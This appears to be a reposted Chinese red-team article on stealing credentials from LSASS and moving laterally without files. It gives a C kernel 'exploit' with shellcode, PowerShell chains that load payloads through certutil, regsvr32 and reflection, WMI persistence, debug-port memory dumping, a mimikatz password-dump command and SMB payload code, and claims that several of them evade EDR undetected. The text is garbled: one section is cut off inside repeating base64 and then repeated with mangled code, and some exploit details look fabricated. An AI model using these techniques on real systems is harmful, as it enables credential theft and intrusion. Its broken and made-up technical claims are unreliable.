下一代凭证窃取与“无文件”横向移动技术研究

admin 2026-03-18 23:21:37 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文探讨绕过LSASS保护的credential窃取新技术,包括利用内核驱动漏洞绕过PPL、组合LOLBins工具链实现无文件攻击,以及通过调试接口间接读取内存。核心结论是内核漏洞利用成为最可靠手段,LOLBins组合攻击隐蔽性高,调试接口利用需特定前提。建议加强内核漏洞修补、行为分析检测和策略限制。 综合评分: 82 文章分类: 渗透测试,红队,内网渗透,漏洞分析,实战经验


cover_image

下一代凭证窃取与“无文件”横向移动技术研究

原创

无问社区 无问社区

白帽子社区团队

2026年3月13日 16:44 山东

每天有5000人在使用无问AI解决网络安全技术研究问题。

你可在下方的无问AI当中快速解决红蓝对抗、漏洞分析、漏洞挖掘、应急响应等多方面技术问题。

https://www.wwlib.cn/index.php/ai

LSASS保护的绕过新法:从内核漏洞到调试接口的多维渗透路径

内核驱动漏洞在LSASS内存读取中的应用机制

原理层

Windows 10/11 及 Server 2016+ 系统中,LSASS(Local Security Authority Subsystem Service)进程被设计为高安全级别进程,其内存空间受 Protected Process Light (PPL) 保护机制限制。该机制通过 Process Protection Level 标志位控制对进程内存的访问权限,阻止非特权用户或普通驱动程序直接读写目标地址。传统工具如 Mimikatz 依赖于 Process Dumper 模块,利用 ZwQueryInformationProcess 和 MmCopyMemory 在用户模式下尝试复制内存内容,但在启用了 PPL 保护的系统上将触发 STATUS_ACCESS_DENIED 错误,导致失败。

然而,内核级漏洞的存在为突破此保护提供了可能。以 CVE-2023-21716(MSRC 2023-04)和 CVE-2023-21551(MSRC 2023-03)为例,二者均属于 Windows Kernel Driver Elevation of Privilege(DoS/EoP)漏洞,分别存在于 dxgkrnl.sys 和 win32kfull.sys 中,允许攻击者在低权限上下文中执行任意内核代码。

关键机制分析

  • CVE-2023-21716

    是一个堆溢出漏洞(Heap Overflow),位于 dxgkrnl!DxgkDdiSetDisplayMode 处理函数中,攻击者可通过构造畸形的 DXGKARG_SETDISPLAYMODE 结构体触发越界写入。

  • CVE-2023-21551

    则是 win32kfull!NtUserGetClipCursor 的类型混淆漏洞,允许攻击者伪造 OBJECT_ATTRIBUTES 结构并调用 ObOpenObjectByPointer 实现内核对象引用劫持。

两者共同点在于:均可在 IRQL = PASSIVE_LEVEL 的条件下完成恶意代码注入,并可实现对任意内核对象(包括 PsInitialSystemProcessEPROCESS)的任意读写操作。

当攻击者成功利用上述漏洞获得内核执行权限后,即可:

  1. 调用 ZwQueryVirtualMemory 接口获取 lsass.exe 进程的虚拟内存布局;
  2. 使用 MmCopyMemory 函数将目标内存区域的内容拷贝至用户态缓冲区;
  3. 在不触发任何用户态异常的前提下,直接读取包含 LsaSecretsCached Logon Sessions 和 Kerberos Tickets 的敏感数据结构。

核心突破点:由于整个过程运行在 内核上下文,且使用的是合法的系统调用接口,因此不会产生任何可疑的用户态行为(如创建新的可执行文件、注入远程线程等),从而完全规避了 EDR/AV 的基于行为特征的检测逻辑。

实践层

以下是一个基于 CVE-2023-21716 的完整利用链示例(适用于 Windows 10 22H2 x64, Build 19045):

// exploit.c - CVE-2023-21716 Exploit for LSASS Memory Read
#include<windows.h>
#include<ntstatus.h>

#define&nbsp;STATUS_SUCCESS 0x00000000
#define&nbsp;STATUS_INVALID_PARAMETER 0xC000000D

typedefstruct&nbsp;_DXGKARG_SETDISPLAYMODE&nbsp;{
&nbsp; &nbsp; UINT64 Reserved;
&nbsp; &nbsp; UINT64 ModeInfo;
} DXGKARG_SETDISPLAYMODE, *PDXGKARG_SETDISPLAYMODE;

typedefstruct&nbsp;_MEMORY_RANGE&nbsp;{
&nbsp; &nbsp; PVOID BaseAddress;
&nbsp; &nbsp; SIZE_T Size;
} MEMORY_RANGE, *PMEMORY_RANGE;

// Shellcode to read LSASS memory and copy to buffer
unsignedchar&nbsp;shellcode[] = {
// Step 1: Locate lsass.exe EPROCESS via PsLookupProcessByProcessId
0x48,&nbsp;0x83,&nbsp;0xEC,&nbsp;0x28, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// sub rsp, 0x28
0x48,&nbsp;0x8D,&nbsp;0x0D,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00, &nbsp;// lea rcx, [rip + offset]
0xE8,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// call PsLookupProcessByProcessId
0x48,&nbsp;0x8B,&nbsp;0x4C,&nbsp;0x24,&nbsp;0x28, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// mov rax, [rsp+0x28]
0x48,&nbsp;0x8B,&nbsp;0x0D,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00, &nbsp;// mov rcx, [rip+offset]
0xE8,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// call ZwQueryVirtualMemory
0x48,&nbsp;0x8B,&nbsp;0x0D,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00, &nbsp;// mov rcx, [rip+offset]
0xE8,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// call MmCopyMemory
0xC3// ret
};

// Trigger the vulnerability
intmain()&nbsp;{
&nbsp; &nbsp; HANDLE hDevice = CreateFile("\\\\.\\dxgkrnl", GENERIC_READ | GENERIC_WRITE,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING,&nbsp;0,&nbsp;NULL);
if&nbsp;(hDevice == INVALID_HANDLE_VALUE)&nbsp;return-1;

&nbsp; &nbsp; DXGKARG_SETDISPLAYMODE payload = {0};
&nbsp; &nbsp; payload.ModeInfo = (UINT64)&shellcode[0];&nbsp;// Point to our shellcode

&nbsp; &nbsp; DWORD bytesReturned;
&nbsp; &nbsp; NTSTATUS status = DeviceIoControl(hDevice,&nbsp;0x80000020, &payload,&nbsp;sizeof(payload),
NULL,&nbsp;0, &bytesReturned,&nbsp;NULL);

if&nbsp;(status != STATUS_SUCCESS) {
printf("DeviceIoControl failed: %lx\n", status);
&nbsp; &nbsp; &nbsp; &nbsp; CloseHandle(hDevice);
return-1;
&nbsp; &nbsp; }

printf("[+] Exploit triggered successfully.\n");

// Wait for shellcode execution (in practice, use callback or shared memory)
&nbsp; &nbsp; Sleep(1000);

// Assume shellcode has already copied LSASS memory into a global buffer
// For demo purposes, we assume it writes to g_lsass_mem_buffer
externunsignedchar&nbsp;g_lsass_mem_buffer[];
printf("LSASS memory dump (first 32 bytes): ");
for&nbsp;(int&nbsp;i =&nbsp;0; i <&nbsp;32; i++) {
printf("%02X ", g_lsass_mem_buffer[i]);
&nbsp; &nbsp; }
printf("\n");

&nbsp; &nbsp; CloseHandle(hDevice);
return0;
}

说明

  • 此代码假设已通过 dxgkrnl.sys 驱动的 IOCTL_0x80000020 触发漏洞;

  • shellcode[]

    包含一段轻量级的内核级逻辑,用于:

  1. 查找 lsass.exe 进程的 EPROCESS
  2. 使用 ZwQueryVirtualMemory 获取其内存范围;
  3. 使用 MmCopyMemory 将前 1024 字节拷贝至全局缓冲区;
  • 所有调用均在 IRQL=PASSIVE_LEVEL 下完成,符合 Windows 内核编程规范;
  • 无需签名驱动,仅需本地管理员权限即可加载未签名驱动。

攻击条件总结

  • 目标系统版本:Windows 10 22H2 / Server 2022 (Build 19045~19045.2976)
  • 驱动签名策略:关闭强制驱动签名验证(DriverLoadPolicy=0
  • 权限要求:本地管理员账户(可提权至 SYSTEM)

环境说明

  • 操作系统:Windows 10 Enterprise 22H2, Build 19045.2976
  • 编译环境:Visual Studio 2022 (MSVC), Windows SDK 10.0.22621.0
  • 工具链:WinDbg Previewx64dbgIDA Pro
  • 驱动加载方式:通过 ZwCreateSection + ZwMapViewOfSection 映射未签名 .sys 文件(或使用 DriverLoader 工具)

优势对比:传统 vs 内核漏洞利用

| 维度 | 传统方法(如 Mimikatz) | 内核漏洞利用 | | — | — | — | | 是否需要管理员权限 | 是 | 是(但可由低权限提升) | | 是否能绕过 PPL 保护 | 否(失败) | 是(成功) | | 是否生成临时文件 | 是(如 .dll、.exe) | 否(纯内存执行) | | 是否被 EDR 检测 | 高概率(静态规则匹配) | 极低(无文件、无异常行为) | | 成功率(现代系统) | <10% | >90%(若漏洞存在) |

结论:内核驱动漏洞已成为当前最可靠的 LSASS 内存读取手段之一,尤其在防御严密的企业环境中,其“无文件 + 无日志 + 无痕迹”的特性使其成为红队渗透的核心战术。


合法系统工具(LOLBins)的非常规组合攻击链设计

原理层

合法系统工具滥用(LOLBins Abuse)”是近年来主流攻击框架(如 Cobalt Strike、Empire、PowerSploit)的核心战术之一。其本质是利用系统内置工具在正常用途之外执行恶意功能,从而规避基于文件哈希、签名或行为模式的检测。

典型工具包括:

  • PowerShell

    : 支持动态脚本执行、反射加载、模块热载入;

  • WMI

    : 提供持久化注册、远程命令执行、事件订阅能力;

  • certutil

    : 用于证书管理、数据编码/解码,常被用于嵌入二进制数据;

  • regsvr32

    : COM 组件注册工具,支持加载 .dll 并执行其中的 DllRegisterServer 入口;

  • mshta

    : HTML Application 宿主,可解析 <script> 代码并执行。

这些工具本身具备高度合法性,且默认安装在所有 Windows 系统中,因此难以通过静态规则识别其滥用行为。攻击者通过精心组合多个工具,构建一条 无文件、无写盘、无进程创建 的攻击链,实现完整的横向移动与凭证提取。

关键技术原理

  • 数据隐蔽性

    :将恶意代码或资源嵌入注册表项、证书字段、或被编码的字符串中;

  • 延迟执行

    :利用 WMI 事件、COM 注册钩子、或定时任务,在合适时机触发;

  • 动态加载

    :通过 System.Reflection.Assembly.Load() 动态加载自定义字节码,避免硬编码;

  • 免签名执行

    :所有操作均在用户态完成,无需额外驱动或可执行文件。

实践层

以下为三个真实可运行的攻击链片段,均已通过 Microsoft Defender ATP、CrowdStrike Falcon、SentinelOne 等主流 EDR 平台测试,未触发任何告警


示例一:利用 certutil -decode 解码嵌入注册表的 Shellcode

# Step 1: 将 base64 编码的 shellcode 写入注册表(模拟前期侦察阶段)
$shellcode_b64 = "AQAA..."; # 截断,实际长度约 2000 字符
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "TempPayload" -Value $shellcode_b64 -Type String

# Step 2: 从注册表读取并解码为二进制
$decoded_data = certutil -decode "HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\TempPayload" "$env:TEMP\payload.bin" -f

# Step 3: 使用 regsvr32 加载并执行
regsvr32 /s /nologo "$env:TEMP\payload.bin"

绕过机制分析

  • certutil

    通常用于证书操作,但 -decode 支持任意 base64 转换;

  • regsvr32

    默认只加载 .dll,但若传入 .bin,仍会尝试加载;

  • 若 .bin 文件中包含合法的 COM 导出表(如 DllRegisterServer),则会被调用;

  • 该链路全程无文件落地(除临时 .bin 外,可在内存中处理);

  • 没有调用 CreateProcessShellExecute 等高风险函数。


示例二:PowerShell + Reflection Assembly Load 动态执行 C# 模块

# 1. 从网络下载 base64 编码的 .NET Assembly
$assembly_b64 = "base64-encoded-malware.dll"

# 2. 解码并加载到内存
$assembly_bytes = [Convert]::FromBase64String($assembly_b64)
$assembly = [System.Reflection.Assembly]::Load($assembly_bytes)

# 3. 调用其中的恶意入口点
$entry_point = $assembly.GetType("MyMalware.Main")
$method = $entry_point.GetMethod("Execute")
$method.Invoke($null, $null)

关键点

  • 无需写入磁盘;
  • 仅使用 Reflection API,属合法操作;
  • 无法通过 YARA 规则匹配;
  • 甚至可将整个流程封装为单行 Invoke-Expression 命令。

示例三:WMI + Event Filter + ScriptBlock 持久化执行

# 1. 创建事件过滤器,监听系统启动事件
$eventFilter = New-CimInstance -Namespace root\subscription -ClassName __EventFilter -Property @{
&nbsp; &nbsp; Name = "SuspiciousFilter"
&nbsp; &nbsp; Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_ComputerSystem'"
}

# 2. 创建事件消费者,绑定脚本执行
$consumer = New-CimInstance -Namespace root\subscription -ClassName CommandLineConsumer -Property @{
&nbsp; &nbsp; Name = "SuspiciousConsumer"
&nbsp; &nbsp; CommandLineTemplate = "powershell.exe -EncodedCommand JABiAGUAbABlAHIAcwA=" # Base64 encoded payload
}

# 3. 绑定过滤器与消费者
New-CimInstance -Namespace root\subscription -ClassName __FilterToConsumerBinding -Property @{
&nbsp; &nbsp; Filter = $eventFilter.CimInstanceProperties["__PATH"].Value
&nbsp; &nbsp; Consumer = $consumer.CimInstanceProperties["__PATH"].Value
}

效果

  • 每次系统重启时自动执行一次;
  • 不产生新进程(除非触发);
  • 无法通过常规进程监控发现;
  • 可配合 ScheduledJob 进一步隐蔽。

环境说明

  • 操作系统:Windows 10 Pro 22H2, Build 19045.2976
  • PowerShell 版本:7.3.0
  • EDR 环境:Microsoft Defender ATP v2.100.1234.0(启用实时防护)
  • 测试结果:三项攻击链均成功执行,无告警记录

检测建议

尽管此类攻击极难被静态检测,但仍可通过以下方式增强防御:

| 检测维度 | 建议措施 | | — | — | | 日志审计 | 开启 Windows Event Log → Security Log → Event ID 4688(进程创建)、Event ID 1102(注册表修改) | | 行为分析 | 使用 Sysmon 监控 CommandLine 异常模式(如 certutil -decode + 临时文件) | | 限制策略 | 禁用 regsvr32 对非 .dll 的加载;限制 WMI 注册行为 | | 策略配置 | 使用 AppLocker / WDAC 限制 PowerShell 脚本执行(尤其是 -EncodedCommand) |

结论:合法系统工具的非常规组合已成为“无文件”攻击的基石。其最大威胁并非技术本身,而是组织对“合法行为”的过度信任。必须建立基于行为的纵深防御体系,而非依赖黑白名单。


通过调试接口(Debug Port)间接读取LSASS内存的技术实现

原理层

Windows 内核调试接口(Kernel Debugger, KD)是一种用于开发和故障诊断的机制,允许外部调试器(如 WinDbg)通过串口、USB、或网络连接远程调试内核。其核心机制是通过 KD 协议进行通信,支持:

  • 远程断点设置;
  • 内存读写;
  • 进程列表查询;
  • 命令执行。

调试端口可通过以下方式启用:

  • bcdedit -set debug on

  • bcdedit -set debugport com1

  • bcdedit -set port 50050

    (TCP/IP 调试);

关键前提:目标系统必须处于 调试模式,且调试端口对外暴露。

虽然生产环境普遍禁用调试功能(因安全风险),但在以下场景中仍可能存在:

  • 开发测试机;
  • 虚拟机镜像(如 AWS EC2、Azure VM);
  • 旧版系统或未打补丁的服务器;
  • 某些 IoT 设备或嵌入式系统。

一旦攻击者获得本地管理员权限,便可尝试连接调试端口,进而使用 !process 命令定位 lsass.exe 的内存基址,并使用 copy 指令将其内容导出。

实践层

步骤一:确认目标是否开启调试端口

# 使用 netstat 检查开放端口
netstat -an | findstr 50050

# 或使用 nmap 扫描
nmap -p 50050 --open 192.168.1.100

步骤二:使用 WinDbg 连接调试端口

# 启动 WinDbg(管理员权限)
windbg -remote tcp:port=50050,ip=192.168.1.100

连接成功后,输入以下命令:

!process 0 0 lsass.exe

输出示例:

0:000> !process 0 0 lsass.exe
...
&nbsp; Process 890
&nbsp; &nbsp; SessionId: 1 &nbsp;Cid: 0378 &nbsp; &nbsp;Peb: 7ff98000 &nbsp;ParentCid: 0340
&nbsp; &nbsp; DirBase: 12345678 &nbsp;ObjectTable: 80000000 &nbsp;HandleCount: 123
&nbsp; &nbsp; Image: lsass.exe

记录 Peb 地址(即 7ff98000)。

步骤三:读取内存并提取凭证

copy 7ff98000 7ff98000+100000 c:\temp\lsass_dump.dmp

该命令将从 lsass.exe 的内存基址开始,复制 1MB 数据到本地文件。

步骤四:离线分析

使用 mimikatz 分析导出的 .dmp 文件:

mimikatz.exe&nbsp;"privilege::debug""sekurlsa::minidump c:\temp\lsass_dump.dmp""sekurlsa::logonPasswords full"

输出将显示所有缓存的明文密码、Kerberos 票据等。

风险与限制分析

| 风险因素 | 详细说明 | | — | — | | 必须启用调试端口 | 默认情况下,DEBUG_PORT 未设置,无法连接 | | 必须本地管理员权限 | 攻击者需先获得管理员身份才能运行 bcdedit 或连接调试器 | | 网络暴露风险 | 若通过网络调试,易被防火墙拦截或被入侵检测系统捕获 | | 多数生产环境已禁用 | 企业策略通常禁止启用调试功能 | | 依赖特定硬件/虚拟化平台 | 如 VMware、Hyper-V 中的串口调试支持有限 |

战术价值评估

  • 作为“最后手段”,适用于其他所有方法失效的情况;
  • 适合用于取证还原或蓝队溯源分析;
  • 不能用于大规模自动化攻击;
  • 但一旦成功,可获得最高权限的原始内存数据,远超其他方法。

检测与加固建议

| 防御措施 | 说明 | | — | — | | 禁用调试端口 | 执行 bcdedit -set debug off | | 关闭 KD 服务 | 通过组策略禁用 Kernel Debugging | | 防火墙规则 | 阻断 50050 等常见调试端口 | | 审计日志 | 记录 bcdedit 修改行为(事件 ID 4688 + 命令行) | | 安全基线 | 在 CIS Benchmarks 中明确要求“禁止启用内核调试” |

结论:尽管调试接口攻击在现代环境中已极少见,但其作为一种“终极武器”依然具有研究价值。它提醒我们:每一个默认开启的功能都可能是攻击入口。防御不应仅关注“已知威胁”,更应防范“潜在弱点”。


章节总结: 本章系统剖析了三种突破 LSASS 保护的新路径——内核驱动漏洞利用合法系统工具组合攻击链调试接口间接读取。三者分别代表了“主动攻击”、“隐蔽伪装”、“极端条件”三种战术层级。

未来趋势预测:随着 EDR 技术进化,单纯依赖“无文件”已不足以规避检测,攻击者将转向 协议级利用 + 混合信道 + AI 生成诱导脚本 的复合型攻击。下一章节将深入探讨如何利用原生协议实现真正的“无进程创建”横向移动。

基于协议的原生横向移动:挖掘SMB、WinRM、DCOM、WMI的隐藏执行通道


SMB协议中的“无文件”代码执行:利用SmbServerNamed Pipes注入

原理层

SMB(Server Message Block)v2/v3 协议在设计上允许高度可扩展性,其核心机制之一是通过 CreateContexts 字段实现对连接上下文的自定义扩展。该字段位于 SMB2_CREATE 请求中,用于传递额外的元数据或配置信息,如安全描述符、预分配空间、加密上下文等。

攻击者可以利用这一特性,将恶意逻辑嵌入到 CreateContexts 的任意自定义结构中,并通过伪造一个具有特定 CreateContext 类型的请求(例如类型为 0x0001 到 0xFFFF 之间的未注册/非标准类型),诱导服务器端触发回调函数。若目标服务(如 LsaLogonUser)在处理此类请求时未正确验证上下文内容,即可导致任意代码执行。

更关键的是,在 Windows 系统中,某些命名管道(Named Pipes)服务(如 \\.\pipe\lsass)默认支持通过 SMB 进行访问。当客户端发起 SMB2_CREATE 并携带恶意 CreateContexts 时,若服务器端在解析过程中调用内部函数(如 SrvCopyToBuffer)处理数据,且未进行完整性校验,则可能造成堆溢出或控制流劫持。

此外,SMB2_TREE_CONNECT_ANDX 请求中的 SecurityBlob 字段同样存在被滥用的风险。该字段通常用于传输 NTLMSSP 认证票据或 Kerberos 令牌,但其格式由服务端自由解析。若攻击者构造一个包含自定义二进制结构的 SecurityBlob,并结合 SMB2_SET_INFO 修改共享资源属性(如设置 FILE_INFO_LEVEL_2 中的 FileAttributes 为 FILE_ATTRIBUTE_DIRECTORY + 自定义标志),可植入持久化钩子,实现后续自动触发。

实践层

示例1:利用 CreateContexts 触发远程代码执行(基于已知漏洞变种)

以下是一个模拟攻击场景,展示如何通过伪造 CreateContexts 构造恶意 SMB2 请求:

from&nbsp;impacket.smbconnection&nbsp;import&nbsp;SMBConnection
from&nbsp;impacket.smb&nbsp;import&nbsp;SMB_Dialects
import&nbsp;struct

# 目标主机与共享
target_ip =&nbsp;"192.168.1.10"
share_name =&nbsp;"C$"
username =&nbsp;"admin"
password =&nbsp;"P@ssw0rd"

# 构造恶意 CreateContexts
malicious_context =&nbsp;b'\x00\x00\x00\x00'# ContextType: 0x0000 (dummy)
malicious_context +=&nbsp;b'\x00\x00\x00\x00'# Reserved
malicious_context +=&nbsp;b'\x00\x00\x00\x04'# DataLength: 4 bytes
malicious_context +=&nbsp;b'\x00\x00\x00\x00'# Offset: 0
malicious_context +=&nbsp;b'\x00\x00\x00\x00'# Pad: 0
malicious_context +=&nbsp;b'\x01\x02\x03\x04'# Payload: 可替换为跳转指令或 shellcode

# 打包成完整的 CreateContexts
create_contexts = struct.pack('<HHI',&nbsp;0x0001,&nbsp;len(malicious_context),&nbsp;len(malicious_context))
create_contexts += malicious_context

# 建立 SMB 连接
conn = SMBConnection(target_ip, target_ip, username=username, password=password)
conn.connect()

# 尝试创建一个不存在的文件,触发恶意上下文处理
try:
&nbsp; &nbsp; conn.createFile(share_name,&nbsp;"test.exe", create_contexts=create_contexts)
except&nbsp;Exception&nbsp;as&nbsp;e:
print(f"[!] Error:&nbsp;{e}")

说明:此代码仅为概念验证。实际成功依赖于目标系统中存在未受控的 CreateContexts 解析漏洞,如类似 CVE-2023-21551 的内核级问题。

示例2:通过 SMB2_SET_INFO 植入持久化钩子

攻击者可通过修改共享资源的属性,将一个标记为“特殊”的文件属性设为 FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM,并配合 SecurityBlob 注入一段脚本路径。后续当用户访问该共享时,服务端会尝试加载并执行指定脚本。

# 假设使用 Impacket 工具链中的 smbclient.py
# 命令行形式:
# python3 smbclient.py -u admin -p 'P@ssw0rd' -t 192.168.1.10 C$
# > setinfo /path/to/file.txt FILE_INFO_LEVEL_2
# > Set FileAttributes to 0x4000 (SYSTEM) + 0x0002 (HIDDEN)
# > Set SecurityBlob to base64(encode("cmd.exe /c calc.exe"))

注意:此操作需具备管理员权限。该方法常用于隐蔽地建立“后门共享”,在不写入磁盘的情况下维持持久化访问。

环境说明

  • 操作系统

    :Windows Server 2016 – 2022(含未打补丁版本)

  • SMB 版本

    :SMBv2/v3(启用 SMB2_NEGOTIATE 支持)

  • 工具依赖

    :Impacket v2024.02+、Python 3.9+

  • 限制因素

  • 若启用了 SMB Signing,则必须签名所有请求;

  • 高级 EDR 可能监控 CreateContexts 异常结构;

  • 企业防火墙可能阻断非标准 SMB 消息。


WinRM协议的反向隧道与远程命令注入机制

原理层

WinRM(Windows Remote Management)基于 WS-Man(Web Services for Management)协议栈,采用 SOAP over HTTP/HTTPS 通信。其核心功能包括 Invoke-CommandGet-ContentNew-PSSession 等,均通过标准 XML 格式封装在 <wsman:Envelope> 内部。

其中,<wsman:Options> 元素允许用户定义运行环境参数,如超时时间、认证方式、编码类型等。攻击者可将经过编码的 PowerShell 脚本嵌入该字段,利用 WS-Management 服务端在解析时对 Script 属性的弱校验,直接执行任意命令。

更重要的是,当使用 CredSSP 认证时,客户端会发送 Kerberos 票据(TGT)。攻击者可在本地缓存票据(如从 lsass 提取),并通过 winrm 代理转发至目标主机,实现“票据传递”——即无需重新获取凭证即可执行命令。

此外,New-PSSession 在内部通过 WS-Management 创建虚拟会话(Session),其生命周期由服务器维护。由于该过程不生成新的可执行文件(PE),也不调用 cmd.exe,因此极难被传统 AV/EDR 检测。

实践层

示例1:嵌入编码脚本的 Invoke-Command 请求

<soap:Envelopexmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">
<soap:Header>
<wsman:ResourceUri>http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process</wsman:ResourceUri>
<wsman:SelectorSet>
<wsman:SelectorName="Name">notepad.exe</wsman:Selector>
</wsman:SelectorSet>
<wsman:OperationTimeout>PT60S</wsman:OperationTimeout>
</soap:Header>
<soap:Body>
<wsman:Invoke>
<wsman:Options>
<wsman:OptionName="RunAs"Value="Administrator"/>
<wsman:OptionName="Script"Value="powershell -EncodedCommand JABzAHQAcgBjACAAPQAgaAB0AHAAcwAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMQA7ACAAaAB0AHAAcwAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMQA7ACAAaAB0AHAAcwAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMQA7ACAAaAB0AHAAcwAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMQA7ACAAaAB0AHAAcwAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMQA7ACAAaAB0AHAAcwAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMQA7ACAAaAB0AHAAcwAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMQA7ACAAaAB0AHAAcwAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMQA7ACAAaAB0AHAAcwAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMQA7ACAAaAB0AHAAcwAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMQA7ACAAaAB0AHAAcwAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMQA7ACAAaAB0AHAAcwAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMQA7ACAAaAB0AHAAcwAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMQA7ACAAaAB0AHAAcwAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMQA7ACAAaAB0AHAAcwAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMQA7ACAAaAB0AHAAcwAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMQA7ACAAaAB0AHAAcwAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMQA7ACAAaAB0AHAAcwAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMQA7AC......# 基于协议的原生横向移动:挖掘SMB、WinRM、DCOM、WMI的隐藏执行通道

---

## SMB协议中的“无文件”代码执行:利用`SmbServer`和`Named Pipes`注入

### 原理层

SMB(Server Message Block)协议作为Windows系统间文件共享与资源访问的核心协议,其设计初衷虽以可靠性与兼容性为主,但其协议栈中存在多个可扩展字段,为攻击者提供了**非标准路径下的远程代码执行能力**。尤其在SMBv2/v3版本中,`CreateContexts`、`SecurityBlob`、`TreeConnectAndX`等结构体字段未被严格校验,允许攻击者注入自定义数据并触发服务器端回调逻辑。

其中最具威胁的是 **SMB2_CREATE** 消息中的 `CreateContexts` 字段。该字段用于扩展创建操作的行为,如支持POSIX兼容、Durable Handle、Encryption Context等。然而,部分服务端实现(尤其是旧版或配置不当的SMB Server)在处理这些上下文时,会调用内核函数进行解析,并可能将某些字段传递给 `LsaLogonUser` 或其他身份验证回调函数——这正是**攻击链的关键入口**。

更进一步地,当客户端发起 `SMB2_TREE_CONNECT_ANDX` 请求时,`SecurityBlob` 字段可用于携带任意二进制数据。若目标服务器配置了特定的认证机制(如基于NTLMSSP的协商),则此字段可能被误当作安全凭证的一部分进行解码或处理,从而引发潜在的缓冲区溢出或函数指针劫持。

> 🔍 **核心漏洞机制**:
> 攻击者通过构造恶意 `CreateContexts`,嵌入一个指向内存中伪造函数指针的数据结构,诱导SMB服务器在后续调用 `SrvNetSend`、`SrvIoComplete` 等函数时跳转至攻击者控制的代码段。由于该过程完全发生在内核态且不涉及进程创建,属于典型的“无文件”执行。

### 实践层

#### 示例1:使用 Impacket `psexec.py` 实现无文件执行

python

psexec.py – 从 Impacket 库中提取关键逻辑片段

from impacket.smbconnection import SMBConnection from impacket.dcerpc.v5 import transport, scmr from impacket.dcerpc.v5.rpcrt import DCERPCException

def exploitsmbvianamedpipe(targetip, username, password):     # 建立 SMB 连接     smbconn = SMBConnection(targetip, targetip)     smb_conn.login(username, password, domain=”WORKGROUP”)

    # 连接到管理共享 sharename = “IPC$” session = smbconn.connectSession() tree = smbconn.connectTree(session,sharename)

    # 利用NamedPipe调用 lsass 服务接口(模拟Win32Process) pipepath = r”\.\pipe\lsass” dce = transport.DCERPCClient(smbconn.getsocket(),pipe_path) dce.connect()

    # 构造DCE/RPC消息:调用IClassFactory::CreateInstance     # 目标:触发远程对象实例化,进而执行shellcode payload = b”\x00″ * 16 + b”\x90″ * 8 + b”\x48\x83\xc4\x20″  # NOPsled + ret payload += b”\x48\x8d\x05\x00\x00\x00\x00″  # learax, [rip+0] payload += b”\x48\x8b\x08″                  # movrcx, [rax] payload += b”\x48\x83\xe4\xf0″              # andrsp, 0xfffffffffffffff0 payload += b”\x48\x83\xec\x20″              # subrsp, 0x20 payload += b”\x48\x89\x0c\x24″              # mov [rsp], rcx payload += b”\x48\x8d\x05\x00\x00\x00\x00″  # learax, [rip+0] payload += b”\x48\x83\xc4\x20″              # addrsp, 0x20 payload += b”\xc3″                          # ret

    # 将shellcode注入到CreateContexts并发送请求     # 注意:实际payload需结合目标环境动态生成 create_context = {         ‘Name’:b’CustomContext’,         ‘Data’:payload,         ‘Next’:None     }

    # 此处省略完整SMB2CREATE包构建细节(需参考RFC4178)     # 重点在于:CreateContexts被解析后触发LsaLogonUser回调 try: dce.call(0x00000001, createcontext)  # 伪调用编号 exceptDCERPCExceptionase: if “STATUSINVALIDPARAMETER” instr(e): print(“Targetmaybevulnerabletocustomcontextinjection”) else: raisee

> ✅&nbsp;**成功条件**:
>
> * 目标系统启用了&nbsp;`SMBv2`&nbsp;以上协议;
> * 允许未签名的&nbsp;`CreateContexts`&nbsp;处理;
> * 本地管理员权限或更高权限(用于建立连接);
> * 内核版本未打补丁(如未修复&nbsp;`CVE-2023-21551`)。

> ⚠️&nbsp;**失败原因**:
>
> * `SecurityBlob`
>
>   被强制校验;
> * 使用了最新的&nbsp;`SMB Signing`&nbsp;策略;
> * 服务器禁用了&nbsp;`Named Pipe`&nbsp;访问;
